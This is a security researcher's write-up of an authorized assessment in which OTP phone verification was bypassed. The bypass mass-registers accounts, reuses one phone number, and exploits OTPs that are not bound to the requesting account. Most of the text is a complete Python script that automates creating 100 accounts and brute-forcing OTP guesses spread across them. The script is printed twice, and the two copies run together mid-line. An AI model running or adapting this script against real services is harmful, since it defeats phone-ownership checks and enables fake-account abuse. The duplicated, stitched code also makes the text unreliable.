September 29, 2026
How I Bypassed an OTP Verification Limit by Chaining Multiple Logic Flaws
Iโm Hossam Hamada, a security researcher and bug bounty hunter. During an authorized security assessment, I discovered an interesting OTPโฆ

By Hossam Hamada
10 min read
I'm Hossam Hamada, a security researcher and bug bounty hunter. During an authorized security assessment, I discovered an interesting OTP verification issue caused by chaining several pieces of application logic together.
For privacy reasons, I will refer to the target as example.com and have removed all target-specific information from the public version.
Understanding the Target Logic
The normal registration and verification flow looked like this:
Create Account โ Email Verification Sent โ Continue Onboarding โ Add Phone Number โ OTP Sent โ Enter OTP โ Phone Verified
When a new account was created, the application sent an email verification message. However, email verification was not required to continue through the onboarding process.
The user could then add a phone number, after which the application sent a 4-digit OTP to verify ownership of that number.
At first glance, the flow appeared to have several reasonable restrictions.
Logic and Restrictions
1. Account Creation
New accounts could be created without a CAPTCHA or a meaningful account-creation rate limit.
By itself, I did not consider this a valid vulnerability, and I treated it as out of scope. However, this behavior became important when combined with the other issues.
2. Email Verification
A newly created account could continue onboarding without first verifying its email address.
This appeared to be intentional application behavior, so I did not treat it as a standalone security issue.
3. Phone Number Reuse
The same phone number could be associated with multiple accounts.
Again, this did not immediately appear to be a vulnerability because every account was still expected to complete OTP verification.
4. OTP Restrictions
The OTP had the following characteristics:
- 4-digit verification code
- Approximately 10 verification attempts per minute per account
- OTP remained valid for approximately 10 minutes
- A 4-digit OTP has 10,000 possible combinations.
With only around 10 attempts per minute and a validity period of approximately 10 minutes, a straightforward brute-force attack would provide roughly:
10 attempts ร 10 minutes = approximately 100 attempts
That initially made brute-forcing the OTP impractical.
However, while testing the verification logic, I discovered that the OTP was not properly bound to the account that generated it.
The OTP Logic Issue
I created two accounts and associated the same phone number with both:
Account 1 โ Same Phone Number โ OTP 1
Account 2 โ Same Phone Number โ OTP 2
I initially expected OTP 1 to be valid only for Account 1, and OTP 2 to be valid only for Account 2.
Instead, I found that OTP 1 could also be used from Account 2 while it was still valid, and vice versa.
This indicated that the OTP was effectively associated with the phone number, rather than being bound to the specific account and verification transaction that generated it.
Conceptually, the behavior looked like this:
OTP 1 โ Phone Number
instead of:
OTP 1 โ Account 1 + Phone Number + Verification Session
As a result, once an OTP was generated for a phone number, it remained usable from other accounts associated with that same phone number during its validity period.
For example:
Account 1 requests OTP 1
Account 2 requests OTP 2
Account 2 verifies the phone using OTP 1 โ Accepted
Account 1 verifies the phone using OTP 2 โ Accepted
This was the key logic flaw.
But there was still a question:
Could I somehow increase the number of OTP verification attempts beyond the per-account limit?
Exploitation Scenario
To chain all of the issues described above, I created a Python script that automates the entire process. The script uses the previously identified logic issues together to bypass the intended OTP protection.
Step 1 :Create 100 Accounts
The script first takes advantage of the lack of a meaningful rate limit or CAPTCHA during account creation and automatically creates 100 accounts.
Step 2 :Add the Same Phone Number
The script then takes advantage of the fact that the phone number can be added before email verification is completed.
It adds the same phone number to all 100 accounts.
So we now have:
100 Accounts โ Same Phone Number
Step 3 :Generate OTPs
The script sends an OTP request from every account.
As a result, we have approximately 100 valid OTPs for the same phone number.
Each OTP remains valid for approximately 10 minutes.
For example:
Account 1 โ OTP 1 Account 2 โ OTP 2 Account 3 โ OTP 3 Account 100 โ OTP 100
Step 4 :Take Advantage of the OTP Logic Issue
This is where the previously identified OTP issue becomes important.
Each account is limited to approximately 10 OTP verification attempts.
However, the OTP is not properly bound to the account that originally requested it. As long as the OTP belongs to the same phone number and is still valid, it can be submitted from another account associated with that phone number.
This means the 100 accounts can effectively work together.
Instead of having:
1 Account โ 10 Attempts
we now have:
100 Accounts ร 10 Attempts = 1,000 Attempts
The script will make all 100 accounts work together to search for one valid OTP among the 100 OTPs that were generated for the same phone number, using the available 1,000 verification attempts.
In other words, all 100 accounts will collectively search through the pool of 100 generated OTPs using up to 1,000 attempts. This effectively bypasses the intended per-account OTP rate limit, because the limit is enforced separately on each account rather than across the overall phone-number verification process.
Step 5 :Distribute the Attempts
The script distributes different OTP candidates between the 100 accounts.
Each account uses its own 10 attempts, while trying different candidates from the other accounts.
For example:
Account 1 โ 10 candidates Account 2 โ 10 different candidates Account 3 โ 10 different candidates โฆ Account 100 โ 10 different candidates
This gives the script up to 1,000 different verification attempts instead of being limited to the 10 attempts available to a single account.
The 4-digit OTP space is:
0000 โ 9999
So instead of searching with only 10 attempts from one account, the script can distribute up to 1,000 attempts across the 100 accounts while the OTPs are still valid.
Step 6 : Monitor the Responses
The script monitors the response from every verification attempt.
As soon as one of the OTP values is accepted, the script stops and reports:
Correct OTP โ Account that successfully verified it
This allows the script to automatically identify which OTP was accepted and which account successfully completed the verification.
Step 7 :Use the OTP Before It Expires
The entire process takes approximately 4โ6 minutes.
Since the OTP remains valid for approximately 10 minutes, once the script finds a valid OTP, there can still be several minutes remaining before it expires.
Because the OTP is not properly bound to the account that generated it, the discovered OTP can potentially be used from another newly created account associated with the same phone number while it remains valid.
The complete chain can therefore be summarized as:
No CAPTCHA / meaningful rate limit โ 100 accounts โ Same phone number on all accounts โ 100 valid OTPs โ OTP not bound to the originating account โ 10 attempts per account โ 1,000 distributed attempts โ Correct OTP identified within the 10-minute validity window
Automation Script
import requests
import json
import time
import base64
import random
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
# ================== CONFIG ==================
BASE_URL = "https://api.example.com"
EMAIL_DOMAIN = "example.com"
EMAIL_PREFIX = "user"
PASSWORD = "YourPassword123!"
PHONE_NUMBER = "(000) 000-0000"
START_INDEX = 1
END_INDEX = 100
MAX_WORKERS = 5
DELAY_BETWEEN = 0.3
VERIFICATION_REPEAT = 3
DELAY_BETWEEN_VERIFICATIONS = 0.5
VERIFY_ATTEMPTS = 10
DELAY_BETWEEN_VERIFY = 0.3
HEADERS_BASE = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Content-Type": "application/json",
"Origin": "https://client.example.com",
"Referer": "https://client.example.com/",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-site",
"Priority": "u=0",
"Te": "trailers",
}
# ================== GLOBAL STATE ==================
CODE_POOL = []
_code_lock = threading.Lock()
def pop_code():
with _code_lock:
if not CODE_POOL:
return None
return CODE_POOL.pop()
STOP_EVENT = threading.Event()
WINNER_INFO = {"email": None, "code": None, "contact_id": None, "index": None}
_winner_lock = threading.Lock()
def set_winner(index, email, code, contact_id):
with _winner_lock:
if not STOP_EVENT.is_set():
STOP_EVENT.set()
WINNER_INFO["index"] = index
WINNER_INFO["email"] = email
WINNER_INFO["code"] = code
WINNER_INFO["contact_id"] = contact_id
# ================== LOGGING ==================
_log_lock = threading.Lock()
def log(msg):
with _log_lock:
print(msg, flush=True)
# ================== HELPERS ==================
def decode_jwt_payload(token):
try:
payload_b64 = token.split(".")[1]
payload_b64 += "=" * (-len(payload_b64) % 4)
return json.loads(base64.urlsafe_b64decode(payload_b64))
except Exception:
return None
def get_user_id_from_token(token):
payload = decode_jwt_payload(token)
if payload and "claims" in payload:
return payload["claims"].get("user-id")
return None
def extract_contact_id(data):
if not isinstance(data, dict):
return None
if isinstance(data.get("data"), list) and data["data"]:
first = data["data"][0]
if isinstance(first, dict) and first.get("id"):
return first["id"]
if isinstance(data.get("data"), dict) and data["data"].get("id"):
return data["data"]["id"]
if data.get("id"):
return data["id"]
if isinstance(data.get("contact"), dict) and data["contact"].get("id"):
return data["contact"]["id"]
return None
# ================== STEP 1: REGISTER ==================
def register_account(index):
email = f"{EMAIL_PREFIX}-{index}@{EMAIL_DOMAIN}"
url = f"{BASE_URL}/onboarding/client_register"
headers = {**HEADERS_BASE, "Authorization": "Bearer undefined"}
body = {
"email": email,
"password": PASSWORD,
"first_name": "",
"last_name": "",
"preferred_first_name": "",
"utm_params": {}
}
try:
r = requests.post(url, headers=headers, json=body, timeout=30)
if r.status_code in (200, 201):
data = r.json()
token = (
data.get("access_token")
or data.get("token")
or (data.get("data") or {}).get("access_token")
)
if not token:
return {"index": index, "email": email, "success": False,
"error": f"no token: {data}"}
return {"index": index, "email": email, "success": True, "token": token}
return {"index": index, "email": email, "success": False,
"error": f"status {r.status_code}: {r.text[:200]}"}
except Exception as e:
return {"index": index, "email": email, "success": False, "error": str(e)}
# ================== STEP 2: PUT PHONE ==================
def set_phone(user_id, token):
url = f"{BASE_URL}/api/v1/user/{user_id}/contacts/phone"
headers = {**HEADERS_BASE, "Authorization": f"Bearer {token}"}
body = {"phones": {"cell": PHONE_NUMBER}}
try:
r = requests.put(url, headers=headers, json=body, timeout=30)
if r.status_code in (200, 201):
data = r.json()
contact_id = extract_contact_id(data)
if not contact_id:
return {"success": False, "error": f"no contact id in: {data}"}
return {"success": True, "contact_id": contact_id, "raw": data}
return {"success": False, "error": f"status {r.status_code}: {r.text[:200]}"}
except Exception as e:
return {"success": False, "error": str(e)}
# ================== STEP 3: INITIATE VERIFICATION ==================
def initiate_verification(contact_id, token):
url = f"{BASE_URL}/api/v1/contacts/{contact_id}/initiate_verification"
headers = {**HEADERS_BASE, "Authorization": f"Bearer {token}"}
try:
r = requests.post(url, headers=headers, timeout=30)
if r.status_code in (200, 201, 204):
try:
data = r.json()
except Exception:
data = r.text
return {"success": True, "status": r.status_code, "raw": data}
return {"success": False, "status": r.status_code,
"error": f"status {r.status_code}: {r.text[:200]}"}
except Exception as e:
return {"success": False, "error": str(e)}
# ================== STEP 4: VERIFY CODE ==================
def verify_code(contact_id, token, code):
url = f"{BASE_URL}/api/v1/contacts/{contact_id}/verify"
headers = {**HEADERS_BASE, "Authorization": f"Bearer {token}"}
body = {"verification_code": code}
try:
r = requests.post(url, headers=headers, json=body, timeout=30)
try:
data = r.json()
except Exception:
data = r.text
return {"code": code, "status": r.status_code,
"success": r.status_code == 200, "raw": data}
except Exception as e:
return {"code": code, "success": False, "error": str(e)}
# ================== PHASE 1: SETUP ==================
def setup_account(index):
email = f"{EMAIL_PREFIX}-{index}@{EMAIL_DOMAIN}"
result = {
"index": index,
"email": email,
"success": False,
"verifications": [],
"verify_attempts": [],
}
log(f"START register [{index:>3}] -> {email}")
reg = register_account(index)
result["register"] = reg
if not reg.get("success"):
log(f"FAIL register [{index:>3}] -> {reg.get('error')}")
return result
token = reg["token"]
user_id = get_user_id_from_token(token)
if not user_id:
log(f"FAIL decode user_id [{index:>3}]")
result["register"]["error"] = "could not decode user_id"
return result
result["user_id"] = user_id
result["token"] = token
log(f"OK register [{index:>3}] -> user_id={user_id}")
time.sleep(DELAY_BETWEEN)
log(f"START put phone [{index:>3}]")
ph = set_phone(user_id, token)
result["phone"] = ph
if not ph.get("success"):
log(f"FAIL put phone [{index:>3}] -> {ph.get('error')}")
return result
contact_id = ph["contact_id"]
result["contact_id"] = contact_id
log(f"OK put phone [{index:>3}] -> contact_id={contact_id}")
for i in range(VERIFICATION_REPEAT):
time.sleep(DELAY_BETWEEN_VERIFICATIONS)
ver = initiate_verification(contact_id, token)
ver["attempt"] = i + 1
result["verifications"].append(ver)
if ver.get("success"):
log(f"OK initiate #{i+1}/{VERIFICATION_REPEAT} [{index:>3}]")
else:
log(f"FAIL initiate #{i+1}/{VERIFICATION_REPEAT} [{index:>3}] -> {ver.get('error')}")
result["success"] = True
log(f"DONE setup [{index:>3}] -> {email}")
return result
# ================== PHASE 2: VERIFY ==================
def verify_account(result):
index = result["index"]
email = result["email"]
contact_id = result.get("contact_id")
token = result.get("token")
if not contact_id or not token:
log(f"SKIP verify [{index:>3}] (setup incomplete)")
return result
log(f"START verify [{index:>3}] ({VERIFY_ATTEMPTS} attempts) -> {email}")
hit = None
for i in range(VERIFY_ATTEMPTS):
if STOP_EVENT.is_set():
log(f"STOP [{index:>3}] (another account already found the code)")
break
code = pop_code()
if code is None:
log(f"WARN [{index:>3}] code pool empty, stopping")
break
time.sleep(DELAY_BETWEEN_VERIFY)
v = verify_code(contact_id, token, code)
v["attempt"] = i + 1
result["verify_attempts"].append(v)
if v.get("success"):
hit = v
set_winner(index, email, code, contact_id)
log(f"HIT!!! [{index:>3}] email={email} | code={code} | contact_id={contact_id}")
break
else:
log(f"try #{i+1}/{VERIFY_ATTEMPTS} [{index:>3}] code={code} -> status={v.get('status')}")
result["success"] = hit is not None
if hit:
result["winning_code"] = hit["code"]
else:
log(f"NO HIT [{index:>3}] no valid code in {VERIFY_ATTEMPTS} attempts")
return result
# ================== ASK FOR RANGE ==================
def ask_for_range():
print("\n" + "=" * 70)
print("SETUP CODE RANGE")
print("=" * 70)
print("Enter the range of codes to try (4-digit codes)")
print(f"Total attempts needed = {END_INDEX * VERIFY_ATTEMPTS}")
print("=" * 70)
while True:
try:
start = input("Start from (e.g. 5000): ").strip()
end = input("End at (e.g. 6000): ").strip()
start = int(start)
end = int(end)
if start < 0 or end > 9999 or start > end:
print("Invalid range. Make sure 0 <= start <= end <= 9999\n")
continue
total_available = end - start + 1
needed = END_INDEX * VERIFY_ATTEMPTS
print(f"\nRange: {start:04d} -> {end:04d}")
print(f"Available codes: {total_available}")
print(f"Needed codes: {needed}")
if total_available < needed:
print(f"WARNING: Range is smaller than needed!")
print(f" Only {total_available} codes will be used")
confirm = input(" Continue? (y/n): ").strip().lower()
if confirm != "y":
continue
confirm = input("\nType 'ok' to start: ").strip().lower()
if confirm == "ok":
return start, end
else:
print("Try again\n")
except ValueError:
print("Please enter valid numbers\n")
except KeyboardInterrupt:
print("\nCancelled")
exit(0)
# ================== MAIN ==================
def main():
global CODE_POOL
total = END_INDEX - START_INDEX + 1
print("=" * 70)
print(f"STARTING SCRIPT")
print(f" Accounts: {total}")
print(f" Initiate per acc: {VERIFICATION_REPEAT}")
print(f" Verify per acc: {VERIFY_ATTEMPTS}")
print(f" Auto-stop on hit: YES")
print("=" * 70)
# ---------- PHASE 1 ----------
print("\n" + "=" * 70)
print("PHASE 1: Register + Phone + Initiate Verification (x3)")
print("=" * 70 + "\n")
setup_results = []
with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
futures = {executor.submit(setup_account, i): i
for i in range(START_INDEX, END_INDEX + 1)}
for future in as_completed(futures):
try:
res = future.result()
except Exception as e:
idx = futures[future]
res = {"index": idx, "success": False, "error": str(e)}
setup_results.append(res)
setup_results.sort(key=lambda x: x["index"])
ready = [r for r in setup_results if r.get("success") and r.get("contact_id") and r.get("token")]
failed_setup = [r for r in setup_results if r not in ready]
print("\n" + "-" * 70)
print(f"PHASE 1 DONE: {len(ready)}/{total} accounts ready for verify")
if failed_setup:
print(f"Failed setup: {[r['index'] for r in failed_setup]}")
print("-" * 70)
# ---------- ASK FOR RANGE ----------
range_start, range_end = ask_for_range()
# ---------- BUILD CODE POOL ----------
ALL_CODES = [f"{i:04d}" for i in range(range_start, range_end + 1)]
random.shuffle(ALL_CODES)
needed = END_INDEX * VERIFY_ATTEMPTS
CODE_POOL = ALL_CODES[:needed]
print("\n" + "=" * 70)
print(f"PHASE 2: Verify Codes ({VERIFY_ATTEMPTS} attempts per account)")
print(f" Range: {range_start:04d} -> {range_end:04d}")
print(f" Pool size: {len(CODE_POOL)} unique codes")
print("=" * 70 + "\n")
# ---------- PHASE 2 ----------
with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
futures = {executor.submit(verify_account, r): r["index"] for r in ready}
for future in as_completed(futures):
try:
future.result()
except Exception as e:
idx = futures[future]
log(f"FAIL verify [{idx:>3}] crashed -> {e}")
# ---------- SAVE ----------
with open("results_full.json", "w", encoding="utf-8") as f:
json.dump(setup_results, f, indent=2, ensure_ascii=False)
with open("winners.txt", "w", encoding="utf-8") as f:
for r in setup_results:
if r.get("winning_code"):
f.write(f"{r['index']}\t{r['email']}\t{r.get('contact_id')}\t{r.get('winning_code')}\n")
winners = [r for r in setup_results if r.get("winning_code")]
print("\n" + "=" * 70)
print(f"FINAL: {len(winners)}/{total} accounts found a valid code")
if winners:
print("\nWinners:")
for w in winners:
print(f" [{w['index']:>3}] {w['email']} -> code={w['winning_code']}")
print("Saved: results_full.json , winners.txt")
print("=" * 70)
if __name__ == "__main__":
main()import requests
import json
import time
import base64
import random
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
# ================== CONFIG ==================
BASE_URL = "https://api.example.com"
EMAIL_DOMAIN = "example.com"
EMAIL_PREFIX = "user"
PASSWORD = "YourPassword123!"
PHONE_NUMBER = "(000) 000-0000"
START_INDEX = 1
END_INDEX = 100
MAX_WORKERS = 5
DELAY_BETWEEN = 0.3
VERIFICATION_REPEAT = 3
DELAY_BETWEEN_VERIFICATIONS = 0.5
VERIFY_ATTEMPTS = 10
DELAY_BETWEEN_VERIFY = 0.3
HEADERS_BASE = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Content-Type": "application/json",
"Origin": "https://client.example.com",
"Referer": "https://client.example.com/",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-site",
"Priority": "u=0",
"Te": "trailers",
}
# ================== GLOBAL STATE ==================
CODE_POOL = []
_code_lock = threading.Lock()
def pop_code():
with _code_lock:
if not CODE_POOL:
return None
return CODE_POOL.pop()
STOP_EVENT = threading.Event()
WINNER_INFO = {"email": None, "code": None, "contact_id": None, "index": None}
_winner_lock = threading.Lock()
def set_winner(index, email, code, contact_id):
with _winner_lock:
if not STOP_EVENT.is_set():
STOP_EVENT.set()
WINNER_INFO["index"] = index
WINNER_INFO["email"] = email
WINNER_INFO["code"] = code
WINNER_INFO["contact_id"] = contact_id
# ================== LOGGING ==================
_log_lock = threading.Lock()
def log(msg):
with _log_lock:
print(msg, flush=True)
# ================== HELPERS ==================
def decode_jwt_payload(token):
try:
payload_b64 = token.split(".")[1]
payload_b64 += "=" * (-len(payload_b64) % 4)
return json.loads(base64.urlsafe_b64decode(payload_b64))
except Exception:
return None
def get_user_id_from_token(token):
payload = decode_jwt_payload(token)
if payload and "claims" in payload:
return payload["claims"].get("user-id")
return None
def extract_contact_id(data):
if not isinstance(data, dict):
return None
if isinstance(data.get("data"), list) and data["data"]:
first = data["data"][0]
if isinstance(first, dict) and first.get("id"):
return first["id"]
if isinstance(data.get("data"), dict) and data["data"].get("id"):
return data["data"]["id"]
if data.get("id"):
return data["id"]
if isinstance(data.get("contact"), dict) and data["contact"].get("id"):
return data["contact"]["id"]
return None
# ================== STEP 1: REGISTER ==================
def register_account(index):
email = f"{EMAIL_PREFIX}-{index}@{EMAIL_DOMAIN}"
url = f"{BASE_URL}/onboarding/client_register"
headers = {**HEADERS_BASE, "Authorization": "Bearer undefined"}
body = {
"email": email,
"password": PASSWORD,
"first_name": "",
"last_name": "",
"preferred_first_name": "",
"utm_params": {}
}
try:
r = requests.post(url, headers=headers, json=body, timeout=30)
if r.status_code in (200, 201):
data = r.json()
token = (
data.get("access_token")
or data.get("token")
or (data.get("data") or {}).get("access_token")
)
if not token:
return {"index": index, "email": email, "success": False,
"error": f"no token: {data}"}
return {"index": index, "email": email, "success": True, "token": token}
return {"index": index, "email": email, "success": False,
"error": f"status {r.status_code}: {r.text[:200]}"}
except Exception as e:
return {"index": index, "email": email, "success": False, "error": str(e)}
# ================== STEP 2: PUT PHONE ==================
def set_phone(user_id, token):
url = f"{BASE_URL}/api/v1/user/{user_id}/contacts/phone"
headers = {**HEADERS_BASE, "Authorization": f"Bearer {token}"}
body = {"phones": {"cell": PHONE_NUMBER}}
try:
r = requests.put(url, headers=headers, json=body, timeout=30)
if r.status_code in (200, 201):
data = r.json()
contact_id = extract_contact_id(data)
if not contact_id:
return {"success": False, "error": f"no contact id in: {data}"}
return {"success": True, "contact_id": contact_id, "raw": data}
return {"success": False, "error": f"status {r.status_code}: {r.text[:200]}"}
except Exception as e:
return {"success": False, "error": str(e)}
# ================== STEP 3: INITIATE VERIFICATION ==================
def initiate_verification(contact_id, token):
url = f"{BASE_URL}/api/v1/contacts/{contact_id}/initiate_verification"
headers = {**HEADERS_BASE, "Authorization": f"Bearer {token}"}
try:
r = requests.post(url, headers=headers, timeout=30)
if r.status_code in (200, 201, 204):
try:
data = r.json()
except Exception:
data = r.text
return {"success": True, "status": r.status_code, "raw": data}
return {"success": False, "status": r.status_code,
"error": f"status {r.status_code}: {r.text[:200]}"}
except Exception as e:
return {"success": False, "error": str(e)}
# ================== STEP 4: VERIFY CODE ==================
def verify_code(contact_id, token, code):
url = f"{BASE_URL}/api/v1/contacts/{contact_id}/verify"
headers = {**HEADERS_BASE, "Authorization": f"Bearer {token}"}
body = {"verification_code": code}
try:
r = requests.post(url, headers=headers, json=body, timeout=30)
try:
data = r.json()
except Exception:
data = r.text
return {"code": code, "status": r.status_code,
"success": r.status_code == 200, "raw": data}
except Exception as e:
return {"code": code, "success": False, "error": str(e)}
# ================== PHASE 1: SETUP ==================
def setup_account(index):
email = f"{EMAIL_PREFIX}-{index}@{EMAIL_DOMAIN}"
result = {
"index": index,
"email": email,
"success": False,
"verifications": [],
"verify_attempts": [],
}
log(f"START register [{index:>3}] -> {email}")
reg = register_account(index)
result["register"] = reg
if not reg.get("success"):
log(f"FAIL register [{index:>3}] -> {reg.get('error')}")
return result
token = reg["token"]
user_id = get_user_id_from_token(token)
if not user_id:
log(f"FAIL decode user_id [{index:>3}]")
result["register"]["error"] = "could not decode user_id"
return result
result["user_id"] = user_id
result["token"] = token
log(f"OK register [{index:>3}] -> user_id={user_id}")
time.sleep(DELAY_BETWEEN)
log(f"START put phone [{index:>3}]")
ph = set_phone(user_id, token)
result["phone"] = ph
if not ph.get("success"):
log(f"FAIL put phone [{index:>3}] -> {ph.get('error')}")
return result
contact_id = ph["contact_id"]
result["contact_id"] = contact_id
log(f"OK put phone [{index:>3}] -> contact_id={contact_id}")
for i in range(VERIFICATION_REPEAT):
time.sleep(DELAY_BETWEEN_VERIFICATIONS)
ver = initiate_verification(contact_id, token)
ver["attempt"] = i + 1
result["verifications"].append(ver)
if ver.get("success"):
log(f"OK initiate #{i+1}/{VERIFICATION_REPEAT} [{index:>3}]")
else:
log(f"FAIL initiate #{i+1}/{VERIFICATION_REPEAT} [{index:>3}] -> {ver.get('error')}")
result["success"] = True
log(f"DONE setup [{index:>3}] -> {email}")
return result
# ================== PHASE 2: VERIFY ==================
def verify_account(result):
index = result["index"]
email = result["email"]
contact_id = result.get("contact_id")
token = result.get("token")
if not contact_id or not token:
log(f"SKIP verify [{index:>3}] (setup incomplete)")
return result
log(f"START verify [{index:>3}] ({VERIFY_ATTEMPTS} attempts) -> {email}")
hit = None
for i in range(VERIFY_ATTEMPTS):
if STOP_EVENT.is_set():
log(f"STOP [{index:>3}] (another account already found the code)")
break
code = pop_code()
if code is None:
log(f"WARN [{index:>3}] code pool empty, stopping")
break
time.sleep(DELAY_BETWEEN_VERIFY)
v = verify_code(contact_id, token, code)
v["attempt"] = i + 1
result["verify_attempts"].append(v)
if v.get("success"):
hit = v
set_winner(index, email, code, contact_id)
log(f"HIT!!! [{index:>3}] email={email} | code={code} | contact_id={contact_id}")
break
else:
log(f"try #{i+1}/{VERIFY_ATTEMPTS} [{index:>3}] code={code} -> status={v.get('status')}")
result["success"] = hit is not None
if hit:
result["winning_code"] = hit["code"]
else:
log(f"NO HIT [{index:>3}] no valid code in {VERIFY_ATTEMPTS} attempts")
return result
# ================== ASK FOR RANGE ==================
def ask_for_range():
print("\n" + "=" * 70)
print("SETUP CODE RANGE")
print("=" * 70)
print("Enter the range of codes to try (4-digit codes)")
print(f"Total attempts needed = {END_INDEX * VERIFY_ATTEMPTS}")
print("=" * 70)
while True:
try:
start = input("Start from (e.g. 5000): ").strip()
end = input("End at (e.g. 6000): ").strip()
start = int(start)
end = int(end)
if start < 0 or end > 9999 or start > end:
print("Invalid range. Make sure 0 <= start <= end <= 9999\n")
continue
total_available = end - start + 1
needed = END_INDEX * VERIFY_ATTEMPTS
print(f"\nRange: {start:04d} -> {end:04d}")
print(f"Available codes: {total_available}")
print(f"Needed codes: {needed}")
if total_available < needed:
print(f"WARNING: Range is smaller than needed!")
print(f" Only {total_available} codes will be used")
confirm = input(" Continue? (y/n): ").strip().lower()
if confirm != "y":
continue
confirm = input("\nType 'ok' to start: ").strip().lower()
if confirm == "ok":
return start, end
else:
print("Try again\n")
except ValueError:
print("Please enter valid numbers\n")
except KeyboardInterrupt:
print("\nCancelled")
exit(0)
# ================== MAIN ==================
def main():
global CODE_POOL
total = END_INDEX - START_INDEX + 1
print("=" * 70)
print(f"STARTING SCRIPT")
print(f" Accounts: {total}")
print(f" Initiate per acc: {VERIFICATION_REPEAT}")
print(f" Verify per acc: {VERIFY_ATTEMPTS}")
print(f" Auto-stop on hit: YES")
print("=" * 70)
# ---------- PHASE 1 ----------
print("\n" + "=" * 70)
print("PHASE 1: Register + Phone + Initiate Verification (x3)")
print("=" * 70 + "\n")
setup_results = []
with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
futures = {executor.submit(setup_account, i): i
for i in range(START_INDEX, END_INDEX + 1)}
for future in as_completed(futures):
try:
res = future.result()
except Exception as e:
idx = futures[future]
res = {"index": idx, "success": False, "error": str(e)}
setup_results.append(res)
setup_results.sort(key=lambda x: x["index"])
ready = [r for r in setup_results if r.get("success") and r.get("contact_id") and r.get("token")]
failed_setup = [r for r in setup_results if r not in ready]
print("\n" + "-" * 70)
print(f"PHASE 1 DONE: {len(ready)}/{total} accounts ready for verify")
if failed_setup:
print(f"Failed setup: {[r['index'] for r in failed_setup]}")
print("-" * 70)
# ---------- ASK FOR RANGE ----------
range_start, range_end = ask_for_range()
# ---------- BUILD CODE POOL ----------
ALL_CODES = [f"{i:04d}" for i in range(range_start, range_end + 1)]
random.shuffle(ALL_CODES)
needed = END_INDEX * VERIFY_ATTEMPTS
CODE_POOL = ALL_CODES[:needed]
print("\n" + "=" * 70)
print(f"PHASE 2: Verify Codes ({VERIFY_ATTEMPTS} attempts per account)")
print(f" Range: {range_start:04d} -> {range_end:04d}")
print(f" Pool size: {len(CODE_POOL)} unique codes")
print("=" * 70 + "\n")
# ---------- PHASE 2 ----------
with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
futures = {executor.submit(verify_account, r): r["index"] for r in ready}
for future in as_completed(futures):
try:
future.result()
except Exception as e:
idx = futures[future]
log(f"FAIL verify [{idx:>3}] crashed -> {e}")
# ---------- SAVE ----------
with open("results_full.json", "w", encoding="utf-8") as f:
json.dump(setup_results, f, indent=2, ensure_ascii=False)
with open("winners.txt", "w", encoding="utf-8") as f:
for r in setup_results:
if r.get("winning_code"):
f.write(f"{r['index']}\t{r['email']}\t{r.get('contact_id')}\t{r.get('winning_code')}\n")
winners = [r for r in setup_results if r.get("winning_code")]
print("\n" + "=" * 70)
print(f"FINAL: {len(winners)}/{total} accounts found a valid code")
if winners:
print("\nWinners:")
for w in winners:
print(f" [{w['index']:>3}] {w['email']} -> code={w['winning_code']}")
print("Saved: results_full.json , winners.txt")
print("=" * 70)
if __name__ == "__main__":
main()Impact
By chaining multiple logic issues, I was able to bypass the intended OTP protection and obtain the correct OTP.
Conclusion
This was an interesting example of how several application behaviors that may appear harmless when considered individually can create a much larger security issue when combined.
The main lesson from this research was that security controls should be enforced around the actual security boundary they are intended to protect.
In this case, the OTP verification limit was enforced per account, while the OTP itself was effectively associated with the phone number. By combining that mismatch with account creation, phone-number reuse, and the ability to request multiple OTPs, I was able to turn a seemingly restrictive OTP mechanism into a distributed verification process.
The complete chain was discovered during an authorized security assessment.
I decided to document the research publicly because I enjoy sharing interesting security concepts and showing how seemingly independent pieces of application logic can interact to create a larger security issue.
Thank you for reading!